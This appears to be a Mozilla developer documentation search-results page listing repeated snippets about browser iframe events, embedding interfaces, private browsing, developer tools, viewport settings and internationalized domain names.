...ck a boolean that defines whether it's possible to go back in the navigation history (true) or not (false). cangoforward a boolean that defines whether it's possible to go forward in the navigation history (true) or not (false). example this example updates the url bar so that it will always display the correct url for the current location. ...
...And 12 more matches
mozbrowsermanifestchange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsermanifestchange event is fired when the manifest location of the app loaded in the browser <iframe> changes. ...
... bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...vent. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: href the url of the new app manifest. ...
...And 12 more matches
mozbrowseropensearch
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowseropensearch event is fired when a link to a search engine is found — i.e. when an instance of <link rel="search" type="application/opensearchdescription+xml"> is encountered. ...
... when a link to a search engine is found — i.e. when an instance of <link rel="search" type="application/opensearchdescription+xml"> is encountered. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following proper...
...or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: title a domstring representing the title of the search engine. href a domstring representing url of the search engine. ...
...And 12 more matches
mozbrowseropentab
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
... non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
... bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...And 12 more matches
mozbrowsershowmodalprompt
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsershowmodalprompt event is fired when the content of a browser <iframe> calls the window.alert(), window.confirm(), or window.prompt() methods. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only ...
...om object. details the details property is an anonymous javascript object with the following properties: prompttype a domstring defining the type of the prompt. it can be alert, confirm, or prompt. title a domstring representing the title of the prompt. message a domstring representing the value passed to the window.alert(), window.confirm(), or window.prompt() methods within the browser <iframe>'s content. returnvalue a domstring representing the return value for the window.prompt() methods. this should be set by the embedder. unblock() a function to be called when the iframe is unblocked. note that if the embedder calls preventdefault() on this event, the iframe is blocked until unblock() is called. obsolete properties of details msg_name a string representing the t...
...ction to be called when the iframe is unblocked. note that if the embedder calls preventdefault() on this event, the iframe is blocked until unblock() is called. obsolete properties of details msg_name a string representing the type of message. for that event, it's always showmodalprompt. initialvalue a string representing the initial value for the window.prompt() methods. ...
...And 12 more matches
mozbrowserusernameandpasswordrequired
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserusernameandpasswordrequired event is fired when the content within a browser <iframe> requires an http authentification. the embedder is supposed to retrieve the necessary credentials, usually using a dialog or a database of username/passwords, and then call authenticate() or cancel() as appropriate. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type descri...
...trieve the necessary credentials, usually using a dialog or a database of username/passwords, and then call authenticate() or cancel() as appropriate. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following member...
...lue of the realm http header. isproxy a boolean indicating whether the server dealing with the authentication is a proxy server (true) or not (false). authenticate() a function that is called to enable the authentication to go ahead. it needs to take two parameters — the username and password to authenticate. cancel() a function that is called to cancel the authentication. ...
...And 12 more matches
mozbrowserdocumentfirstpaint
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserdocumentfirstpaint event is fired when a new paint occurs on any document in the browser <iframe>. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boo...
...s property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
... target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
...And 11 more matches
mozbrowserfirstpaint
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserfirstpaint event is fired when the <iframe> paints content for the first time (this doesn't include the initial paint from about:blank). general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of eve...
...s property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
... target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
...And 11 more matches
mozbrowserscrollviewchange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserscrollviewchange event is fired when asynchronous scrolling (i.e. apcz) starts or stops. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or ...
...not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: state a domstring representing the current state of scrolling in the viewport — available values are started and stopped. ...
...n whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: state a domstring representing the current state of scrolling in the viewport — available values are started and stopped. ...
...And 11 more matches
mozbrowsersecuritychange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsersecuritychange event is fired when the browser <iframe> has connected to the server, and when the mixed content state changes. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean ...
...een blocked from loading. extendedvalidation a boolean indicating if the current ssl certificate is an extended validation certificate (true) or not (false). trackingcontent a boolean indicating if tracking content is present on the current page (true) or not (false). mixedcontent a boolean indicating if mixed content is present on the current page (true) or not (false). ...
...tion a boolean indicating if the current ssl certificate is an extended validation certificate (true) or not (false). trackingcontent a boolean indicating if tracking content is present on the current page (true) or not (false). mixedcontent a boolean indicating if mixed content is present on the current page (true) or not (false). ...
...And 11 more matches
mozbrowsertitlechange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsertitlechange event is fired when the title of a browser <iframe> (i.e. the contents of the <title> element) changes. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether th...
... description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. detail read only string the title of the document. ...
... eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. detail read only string the title of the document. ...
...And 11 more matches
mozbrowservisibilitychange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowservisibilitychange event is fired when the visibility state of the current browser iframe <iframe> changes, for example due to a call to setvisible(). general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles rea...
...ype of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: visible a boolean that indicates whether the browser iframe is visible (true) or not (false). ...
...And 11 more matches
grid-template-rows - CSS: Cascading Style Sheets
the grid-template-rows css property defines the line names and track sizing functions of the grid rows. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... the grid-template-rows css property defines the line names and track sizing functions of the grid rows. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...property defines the line names and track sizing functions of the grid rows. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 11 more matches
What are browser developer tools? - Learn web development
every modern web browser includes a powerful suite of developer tools. these tools do a range of things, from inspecting currently-loaded html, css and javascript to showing which assets the page has requested and how long they took to load. this article explains how to use the basic functions of your browser's devtools. note: before you run through the examples below, open the beginner's example site that we built during the getting started with the web article series. you should have this open as you follow the steps below. ...
...ng which assets the page has requested and how long they took to load. this article explains how to use the basic functions of your browser's devtools. note: before you run through the examples below, open the beginner's example site that we built during the getting started with the web article series. you should have this open as you follow the steps below. ...
...and how long they took to load. this article explains how to use the basic functions of your browser's devtools. note: before you run through the examples below, open the beginner's example site that we built during the getting started with the web article series. you should have this open as you follow the steps below. ...
...And 10 more matches
mozbrowserloadend
this can be used when the embedder wants to stop spinning a loading indicator, or update the ui in some other way to indicate loading is complete. ...
... this can be used when the embedder wants to stop spinning a loading indicator, or update the ui in some other way to indicate loading is complete. ...
... this can be used when the embedder wants to stop spinning a loading indicator, or update the ui in some other way to indicate loading is complete. ...
...And 10 more matches
mozbrowserresize
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserresize event is fired when a browser <iframe> viewport is resized in some way. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. ...
...ether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: width a number representing the new width of the <iframe> viewport, in device pixels. height a number representing the new height of the <iframe> viewport, in device pixels. ...
... details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: width a number representing the new width of the <iframe> viewport, in device pixels. height a number representing the new height of the <iframe> viewport, in device pixels. ...
...And 10 more matches
mozbrowseractivitydone
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowseractivitydone event is fired when something inside the browser <iframe> triggers a web activity, and that web activity's message is consumed by the receiving app. ...
...frame> triggers a web activity, and that web activity's message is consumed by the receiving app. if the activity has a returnvalue set to true, then the activity is consumed when postresult or posterror is invoked on the activity by the receiving app. note: for activities where the receiving app's activity definition in its manifest does not include returnvalue or returnvalue is false, no mozbrowseractivitydone event will be generated as of the landing of bug 1194525 in firefox os 2.5. postresult and posterror calls made on such an activity will be ignored and have no effect. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target r...
...rated as of the landing of bug 1194525 in firefox os 2.5. postresult and posterror calls made on such an activity will be ignored and have no effect. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following proper...
...And 9 more matches
mozbrowserfindchange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserfindchange event is fired when a search method is invoked in the browser <iframe> content. ...
... bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...(false.) searchstring a domstring representing the string that is currently being searched for. searchlimit a number indicating the maximum number of searches that can be returned. numberofmatches a number indicating the number of matches returned by the search. activematchordinal a number indicating the position of the currently highlighted search result, e.g. 3 out of 5. ...
...And 9 more matches
mozbrowserscrollareachanged
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserscrollareachanged event is fired when the available scrolling area in the browser <iframe> changes. ...
... bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
... cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: width a number representing the new scroll area width of the <iframe> viewport, in css pixels. height a number representing the new scroll area height of the <iframe> viewport, in css pixels. ...
...And 9 more matches
nsIWebBrowser
embedding/browser/webbrowser/nsiwebbrowser.idlscriptable this interface is implemented by web browser objects. embedders use this interface during initialization to associate the new web browser instance with the embedders chrome and to register any listeners. the interface may also be used at runtime to obtain the content dom window and from that the rest of the dom. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) warning: this interface was frozen for a very long time, but was unfrozen for gecko 2.0. ...
...e with the embedders chrome and to register any listeners. the interface may also be used at runtime to obtain the content dom window and from that the rest of the dom. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) warning: this interface was frozen for a very long time, but was unfrozen for gecko 2.0. ...
... at runtime to obtain the content dom window and from that the rest of the dom. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) warning: this interface was frozen for a very long time, but was unfrozen for gecko 2.0. method overview void addwebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); void removewebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); attributes attribute type description containerwindow nsiwebbrowserchrome the chrome object associated with the browser instance. the embedder must create one chrome object for each browser object that is instantiated. the embedder must associate the two by setting this property to point to the ch...
...And 9 more matches
mozbrowserscroll
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserscroll event is fired when the browser <iframe> content scrolls. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable...
... details the details property returns an anonymous javascript object with the following properties: top a number representing the new vertical scroll position of the <iframe> viewport — in css pixels — from the top of the viewport. left a number representing the new horizontal scroll position of the <iframe> viewport — in css pixels — from the left of the viewport. ...
...onymous javascript object with the following properties: top a number representing the new vertical scroll position of the <iframe> viewport — in css pixels — from the top of the viewport. left a number representing the new horizontal scroll position of the <iframe> viewport — in css pixels — from the left of the viewport. ...
...And 8 more matches
Updating addons broken by private browsing changes - Archive of obsolete content
tthews with further questions or clarifications, or file a bug if your extension has stopped working due to a change described here and you are having trouble updating it. ...
...ing trouble updating it. ...
...gemanager ff 16: nsitransferable ff 18: imgicache moziasyncfavicons nsifaviconservice nsiwebbrowserpersist ff 19: nsicontentprefservice nsidownloadmanager nsidownload nsihttpauthmanager nsistricttransportsecurityservice ff 20: nsiprivatebrowsingservice nsirecentbadcertservice furthermore, if your code uses any of these common chrome apis: ff 19: saveurl saveinternal openlinkin ff 20: openbrowserwindow gprivatebrowsingui finally, if your code watches for any of these observer notifications: private-browsing private-browsing-cancel-vote private-browsing-change-granted private-browsing-transition-complete then your addon will require updating to correctly support the new per-window private browser feature in firefox 20 (and will require updating to work correctly in releases of f...
...And 7 more matches
mozbrowserselectionstatechanged
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserselectionstatechanged event is fired when the text selected inside the browser <iframe> content changes. ...
... track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserselectionstatechanged event is fired when the text selected inside the browser <iframe> content changes. note that this is deprecated, and current implementations should use mozbrowsercaretstatechanged instead. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whethe...
...tor in the child frame. this is unitless and represents a percentage increase/decrease, e.g. 1.1 is a 10% zoom in, and 0.9% is a 10% zoom out. iscollapsed a boolean indicating whether the current selection is collapsed (true) or not (false). visible a boolean indicating whether the current selection is visible (true) or not (false). states the current state of the selection. ...
...And 7 more matches
Browser storage limits and eviction criteria - Web APIs
there are a number of web technologies that store data of one kind or another on the client-side (i.e., on your local disk). the process by which the browser works out how much space to allocate to web data storage and what to delete when that limit is reached is not simple, and differs between browsers. this article describes how browsers determine what local content to purge and when in order to free up needed local storage space. note: the information below should be fairly accurate for most modern browsers, but browser specifics are called out where known. opera and chrome should behave the same in all cases. ...
... determine what local content to purge and when in order to free up needed local storage space. note: the information below should be fairly accurate for most modern browsers, but browser specifics are called out where known. opera and chrome should behave the same in all cases. opera mini (still presto-based, server-side rendering) doesn't store any data on the client. what technologies use browser data storage? in firefox, the following technologies make use of browser data storage to store data when required. ...
... the "last access time" of origins is updated when any of these are activated/deactivated — origin eviction will delete data for all these quota clients. ...
...And 7 more matches
Browser chrome tests
it is possible to run specific groups of tests. ...
... it is possible to run specific groups of tests. ...
...er chrome test suite is an automated testing framework designed to allow testing of application chrome windows using javascript. it currently allows you to run javascript code in the same scope as the main firefox browser window and report results using the same functions as the mochitest test framework. as all tests, they won't work in a build with tests disabled (--disable-tests). running the browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest -f browser this will launch your build and open a "browser chrome tests" window, and report the results in the ui and to stdout. it is possible to run specific groups of tests. as with mochitest, the path given as an argument is the path to a test or directory within the mozilla source tree. if t...
...And 6 more matches
Metro browser chrome tests - Archive of obsolete content
for information on setting your local build as the default, visit the windows 8 integration wiki page. it is possible to run individual tests as well. ...
...for information on setting your local build as the default, visit the windows 8 integration wiki page. it is possible to run individual tests as well. ...
...for information on setting your local build as the default, visit the windows 8 integration wiki page. it is possible to run individual tests as well. ...
...And 5 more matches
Supporting per-window private browsing - Archive of obsolete content
firefox 20 introduced per-window private browsing mode, in which private user data is stored and accessed concurrently with public user data from another window. detecting private browsing mode determining whether or not a given dom window is private is simple: import resource://gre/modules/privatebrowsingutils.jsm and use privatebrowsingutils.iswindowprivate(window). you can then take action based on this value, as any data or actions originating from this window should be considered private. try { // firefox 20+ components.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); if (!privatebrowsingutils.iswindowprivate(window)) { ... } } catch(e) { // pre firefox 20 (if you do not have access to a ...
...g from this window should be considered private. try { // firefox 20+ components.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); if (!privatebrowsingutils.iswindowprivate(window)) { ... } } catch(e) { // pre firefox 20 (if you do not have access to a doc. // might use doc.hasattribute("privatebrowsingmode") then instead) try { var inprivatebrowsing = components.classes["@mozilla.org/privatebrowsing;1"]. getservice(components.interfaces.nsiprivatebrowsingservice). privatebrowsingenabled; if (!inprivatebrowsing) { ... } } catch(e) { componen...
...service(components.interfaces.nsiprivatebrowsingservice). privatebrowsingenabled; if (!inprivatebrowsing) { ... } } catch(e) { components.utils.reporterror(e); return; } } obtaining an nsiloadcontext for privacy-sensitive apis some apis (such as nsitransferable and nsiwebbrowserpersist) take nsiloadcontext arguments that are used to determine whether they should be classed as private or not (for example, whether the uri being persisted by saveuri should be added to the permanent download history). ...
...And 5 more matches
arrowscrollbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a box which provides scroll arrows along its edges for scrolling through the contents of the box. the user only needs to hover the mouse over the arrows to scroll the box. this element is typically used for large popup menus. hovering the mouse over one of the (active) arrows triggers a scroll event. more information is available in the xul tutorial. ...
...is typically used for large popup menus. hovering the mouse over one of the (active) arrows triggers a scroll event. more information is available in the xul tutorial. ...
...ex, scrollbypixels examples <arrowscrollbox orient="vertical" flex="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, ...
...And 5 more matches
Cross browser testing - Learn web development
this module focuses on testing web projects across different browsers. we look at identifying your target audience (e.g. what users, browsers, and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to mitigate them, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here. guides introduction to cross browser testing this ...
...together a course that includes all the essential information you need to work towards your goal. get started prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here. ...
...n you need to work towards your goal. get started prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here. ...
...And 5 more matches
Roll your own browser: An embedding how-to
. you should not need to, and should not, use embedding/config. what bits do i need? one of the requirements of building a sdk is the ability to identify and package up required files. like that isn't totally obvious, nonetheless it has to be done. here is that effort. i have created a directory under embedding called config. contained within this directory are a couple of makefiles: basebrowser-unix basebrowser-win the xpinstall packager follows the same format. however in our case, we only have one named xpi package. after the build is done, you can change directory into mozilla/embedding/config, and do a make. this will produce a directory in dist named embed. it should include all of the base support that you need to get a web browser started up. included is the sample test ap...
...shxb: ibm uses mozilla to implement part of their sash development/desktop environment. part of the gnome effort. activestate's komodo: development environment, based on mozilla's xul. (screenshot) light: very simple non-bloated gtk+ interface, familiar netscape 4.x keyboard shortcuts, context menus, etc. (screenshot) xparts: kde extension that allows mozilla to be embedded into the konqueror browser. uses gtkmozembed widget, part of the kdebindings module and available from http://websvn.kde.org/trunk/kde/kdebindings/xparts/. (news release, screenshot) mozilla examples gtkmozembed widget: gtk widget wrapper for the mozilla gecko engine. testgtkembed: basic browser built with the gtkmozembed widget. url location field, menu bar, html area, supports ssl. windows external projects ...
...kmozembed widget, part of the kdebindings module and available from http://websvn.kde.org/trunk/kde/kdebindings/xparts/. (news release, screenshot) mozilla examples gtkmozembed widget: gtk widget wrapper for the mozilla gecko engine. testgtkembed: basic browser built with the gtkmozembed widget. url location field, menu bar, html area, supports ssl. windows external projects k-meleon browser: the windows answer to galeon. fast ie-look-alike browser, uses ie and ns bookmarking system, fast loading time, privacy features, java support and complete control of the menus and "hotkeys". implemented with mozilla embedding apis. (screenshots) neoplanet browser: a gecko add-on for the neoplanet browser. activestate's komodo: development environment, based on mozilla's xul. (screenshot) m...
...And 5 more matches
Using the viewport meta tag to control layout on mobile browsers
narrow screen devices (e.g. mobiles) render pages in a virtual window or viewport, which is usually wider than the screen, and then shrink the rendered result down so it can all be seen at once. users can then pan and zoom to see different areas of the page. for example, if a mobile screen has a width of 640px, pages might be rendered with a virtual viewport of 980px, and then it will be shrunk down to fit into the 640px space. ...
... optimized for narrow screens using media queries — if the virtual viewport is 980px for example, media queries that kick in at 640px or 480px or less will never be used, limiting the effectiveness of such responsive design techniques. to mitigate this problem, apple introduced the "viewport meta tag" in safari ios to let web developers control the viewport's size and scale. ...
...ol the viewport's size and scale. many other mobile browsers now support this tag, although it is not part of any web standard. apple's documentation does a good job explaining how web developers can use this tag, but we had to do some detective work to figure out exactly how to implement it in fennec. for example, safari's documentation says the content is a "comma-delimited list," but existing browsers and web pages use any mix of commas, semicolons, and spaces as separators. learn more about viewports in different mobile browsers in a tale of two viewports at quirksmode.org. viewport basics a typical mobile-optimized site contains something like the following: <meta name="viewport" content="width=device-width, initial-scale=1"> the width property controls the size of the viewport. it c...
...And 5 more matches
nsIWebBrowserPersist
embedding/components/webbrowserpersist/nsiwebbrowserpersist.idlscriptable interface for persisting dom documents and uris to local or remote storage. inherits from: nsicancelable last changed in gecko 36.0 (firefox 36.0 / thunderbird 36.0 / seamonkey 2.33) implemented by: @mozilla.org/embedding/browser/nswebbrowser;1 and @mozilla.org/embedding/browser/nswebbrowserpersist;1. ...
...webbrowserpersist/nsiwebbrowserpersist.idlscriptable interface for persisting dom documents and uris to local or remote storage. inherits from: nsicancelable last changed in gecko 36.0 (firefox 36.0 / thunderbird 36.0 / seamonkey 2.33) implemented by: @mozilla.org/embedding/browser/nswebbrowser;1 and @mozilla.org/embedding/browser/nswebbrowserpersist;1. ...
...face for persisting dom documents and uris to local or remote storage. inherits from: nsicancelable last changed in gecko 36.0 (firefox 36.0 / thunderbird 36.0 / seamonkey 2.33) implemented by: @mozilla.org/embedding/browser/nswebbrowser;1 and @mozilla.org/embedding/browser/nswebbrowserpersist;1. ...
...And 5 more matches
Browser Toolbox - Firefox Developer Tools
the browser toolbox enables you to debug add-ons and the browser's own javascript code rather than just web pages like the normal toolbox. the browser toolbox's context is the whole browser rather than just single page on a single tab. note: if you want to debug a specific add-on that is restartless or sdk-based then try the add-on debugger. use the browser toolbox for add-ons that are neither. enabling the browser toolbox the browser toolbox is not enabled by default. to enable it you need to check the settings "enable chrome and addon debugging" and "enable remote debugging". to do this, open the developer tools settings, go to the section "advanced settings", and check the settings "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging". opening...
...ling the browser toolbox the browser toolbox is not enabled by default. to enable it you need to check the settings "enable chrome and addon debugging" and "enable remote debugging". to do this, open the developer tools settings, go to the section "advanced settings", and check the settings "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging". opening the browser toolbox open the browser toolbox through the menu button and the menu items "developer" then "browser toolbox". you can also open it with the ctrl + alt +shift + i key combination ( cmd + opt +shift + i on a mac). ...
... opening the browser toolbox open the browser toolbox through the menu button and the menu items "developer" then "browser toolbox". you can also open it with the ctrl + alt +shift + i key combination ( cmd + opt +shift + i on a mac). you will be presented with a dialog like this (it can be removed by setting the devtools.debugger.prompt-connection property to false): click ok, and the browser toolbox will open in its own window: you'll be able to inspect the browser's chrome windows and see, and be able to debug, all the javascript files loaded by the browser itself and by any add-ons that are running. altogether you will have access to the following developer tools: debugger (note: if you want to debug a specific add-on that is restartless or sdk-based then try the add-on deb...
...And 4 more matches
Browser Feature Detection - Archive of obsolete content
an experimental approach to discovering degree of support for standards. among the methods of browser detection, many people recommend using the existence of specific properties or methods in a browser's dom to detect the browser type and whether it supports a given operation. this test takes that idea to the extreme and tests a large number of properties and methods to determine the level of support a browser has for particular standards and reports a rating as the percentage of names the browser defines. this article has generally never been more than a way to show off firefox web compatibility, rather than something truly informative in a broader sense. ...
... level of support a browser has for particular standards and reports a rating as the percentage of names the browser defines. this article has generally never been more than a way to show off firefox web compatibility, rather than something truly informative in a broader sense. therefore, given that it's also badly out of date, it's been archived. you should not rely on any information here. browser sniffing via api name detection the following tables list the api names defined for specific w3c dom apis and lists the percentage of names that your browser actually defines followed by a list of each of the api names tested along with an indication of whether the name was defined for your browser. it is clear from these test results that netscape 7.0x and mozilla firefox have the greatest d...
...wser actually defines followed by a list of each of the api names tested along with an indication of whether the name was defined for your browser. it is clear from these test results that netscape 7.0x and mozilla firefox have the greatest dom support although internet explorer, safari, and opera have sufficient dom css 1 and dom level 1 & 2 document property and method support to enable cross browser web development. test summary standard netscape 7.0x firefox 1.5 safari 2 opera 7 / 8.5-9.0 internet explorer 6 / 7 dom core 1 100% 100% 100% 75% / 91% 75% / 75% dom core 2 100% 100% 100% 70% / 94% 58% / 58% dom 1 html 100% 100% 100% 100% / 100% 100% / 100% dom css 1 100% 100% ...
...And 3 more matches
Internationalized Domain Names (IDN) Support in Mozilla Browsers
an internationalized domain name (idn) is a domain/host name which uses non-ascii characters. until recently domain names allowed only a subset of 7-bit ascii characters. as the internet has spread to non-english speaking people around the world, it has become increasingly clear that forcing them to use domain names written only in a subset of the latin alphabet is not ideal. many of the european languages use the basic latin alphabet with additional accented characters for writing but they were not able to use them in domain names. ...
...the protocols involved in domain names to handle non-ascii characters. in march of 2003, three important rfc's were approved by ietf. (cf. rfc's 3490, 3491, 3492.) these new rfc's now make it possible for domain name servers to register non-ascii domain names and application/client vendors to implement standardized support for handling non-ascii characters in domain names. how idn works when a browser sees a host name such as http://developer.mozilla.org, it passes a request to the dns resolver service (usually built into an os), which in turn sends a request to a nearest domain name server to return an ip address that corresponds to the host name. this ip address is then used to connect to the web server in question. idn allows host/domain names with non-ascii characters for user input int...
...es a host name such as http://developer.mozilla.org, it passes a request to the dns resolver service (usually built into an os), which in turn sends a request to a nearest domain name server to return an ip address that corresponds to the host name. this ip address is then used to connect to the web server in question. idn allows host/domain names with non-ascii characters for user input into a browser's location bar or url's embedded in web pages. at the network protocol level, there is no change in the restriction that only a subset of ascii characters be used in url/uri. if end users input non-ascii characters as part of a domain name or if a web page contains a link using a non-ascii domain name, the application must convert such input into a special encoded format using only the usual as...
...And 3 more matches
nsIPrivateBrowsingService
